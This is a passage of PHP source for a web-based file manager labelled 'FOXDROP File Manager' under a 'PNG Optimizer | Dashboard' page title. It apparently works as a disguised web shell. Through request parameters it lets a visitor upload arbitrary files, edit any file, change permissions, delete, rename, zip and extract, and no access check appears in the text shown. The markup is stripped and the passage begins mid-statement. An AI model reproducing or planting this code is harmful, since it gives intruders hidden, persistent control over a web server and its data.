🗑️ Deleted: " . htmlspecialchars($_GET['delete']) . ""; } if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $from = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_from']); $to = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_to']); if (file_exists($from)) { rename($from, $to); echo "
✏️ Renamed successfully.
"; } } if (isset($_POST['perm_target']) && isset($_POST['perm_value'])) { $target = $dir . DIRECTORY_SEPARATOR . basename($_POST['perm_target']); $perm = intval($_POST['perm_value'], 8); if (file_exists($target)) { chmod($target, $perm); echo "
🔐 Permissions changed to " . decoct($perm) . "
"; } } if (isset($_GET['zip'])) { $zipTarget = $dir . DIRECTORY_SEPARATOR . basename($_GET['zip']); $zipFile = $zipTarget . '.zip'; if (is_dir($zipTarget)) { $zip = new ZipArchive(); if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($zipTarget, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $pathInZip = substr($file->getPathname(), strlen($zipTarget) + 1); $zip->addFile($file->getPathname(), $pathInZip); } $zip->close(); echo "
📦 Zipped: " . htmlspecialchars(basename($zipFile)) . "
"; } } } if (isset($_GET['unzip'])) { $zipPath = $dir . DIRECTORY_SEPARATOR . basename($_GET['unzip']); if (is_file($zipPath) && pathinfo($zipPath, PATHINFO_EXTENSION) === 'zip') { $zip = new ZipArchive(); if ($zip->open($zipPath)) { $zip->extractTo($dir); $zip->close(); echo "
📂 Unzipped to " . htmlspecialchars($dir) . "
"; } } } if (isset($_GET['edit'])) { $targetFile = $dir . DIRECTORY_SEPARATOR . basename($_GET['edit']); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content_save'])) { file_put_contents($targetFile, $_POST['content']); echo "
💾 Saved.
"; } $code = @file_get_contents($targetFile); echo " PNG Optimizer | Dashboard "; echo "
"; echo "
"; echo "

Editing: " . htmlspecialchars($_GET['edit']) . "

Back
"; echo "
"; echo "
"; echo "
"; echo ""; echo ""; exit; } if (isset($_FILES['dropfile'])) { $to = $dir . DIRECTORY_SEPARATOR . basename($_FILES['dropfile']['name']); move_uploaded_file($_FILES['dropfile']['tmp_name'], $to); echo "
📤 Uploaded: " . htmlspecialchars($_FILES['dropfile']['name']) . "
"; } if (isset($_POST['mkfolder']) && $_POST['mkfolder']) { $folder = $dir . DIRECTORY_SEPARATOR . basename($_POST['mkfolder']); if (!file_exists($folder)) { mkdir($folder); echo "
📁 Folder created.
"; } else { echo "
❌ Folder already exists.
"; } } // === Sorting $sort = isset($_GET['sort']) ? $_GET['sort'] : 'name'; $order = isset($_GET['order']) && $_GET['order'] === 'desc' ? 'desc' : 'asc'; usort($items, function($a, $b) use ($dir, $sort, $order) { if ($a === '.' || $a === '..') return -1; if ($b === '.' || $b === '..') return 1; $pathA = $dir . DIRECTORY_SEPARATOR . $a; $pathB = $dir . DIRECTORY_SEPARATOR . $b; if ($sort === 'size') { $valA = is_file($pathA) ? filesize($pathA) : 0; $valB = is_file($pathB) ? filesize($pathB) : 0; } elseif ($sort === 'perm') { $valA = fileperms($pathA); $valB = fileperms($pathB); } else { $valA = strtolower($a); $valB = strtolower($b); } return ($order === 'asc') ? $valA <=> $valB : $valB <=> $valA; }); // === HTML Output echo " PNG Optimizer | Dashboard

FOXDROP File Manager

"; // === Path Navigation echo ""; // === Table Header echo "
"; $headers = ['name' => 'Name', 'size' => 'Size', 'perm' => 'Permissions']; foreach ($headers as $key => $label) { $new_order = ($sort === $key && $order === 'asc') ? 'desc' : 'asc'; echo ""; } echo ""; // === File List foreach ($items as $item) { if ($item === '.') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; $size = is_file($path) ? formatSize(filesize($path)) : '-'; $perm = substr(sprintf('%o', fileperms($path)), -3); $permColor = is_writable($path) ? 'text-success' : 'text-muted'; $icon = is_dir($path) ? 'bi-folder' : 'bi-file-earmark'; $name = is_dir($path) ? "" . htmlspecialchars($item) . "" : "" . htmlspecialchars($item) . ""; $actions = []; if (is_file($path)) { $actions[] = ""; } // Inline Rename if (isset($_GET['rename_from']) && $_GET['rename_from'] === $item) { $actions[] = "
"; } else { $actions[] = ""; } $actions[] = ""; if (is_dir($path)) { $actions[] = ""; } elseif (strtolower(pathinfo($item, PATHINFO_EXTENSION)) === 'zip') { $actions[] = ""; } echo ""; } echo "
" . htmlspecialchars($label) . "Actions
$name $size $perm " . implode('', $actions) . "
"; // === Forms: Upload, Folder, Chmod echo "
Upload File
New Folder
Change Permissions
"; echo "
"; echo " "; function formatSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { return $bytes . ' bytes'; } elseif ($bytes == 1) { return '1 byte'; } else { return '0 bytes'; } } ?>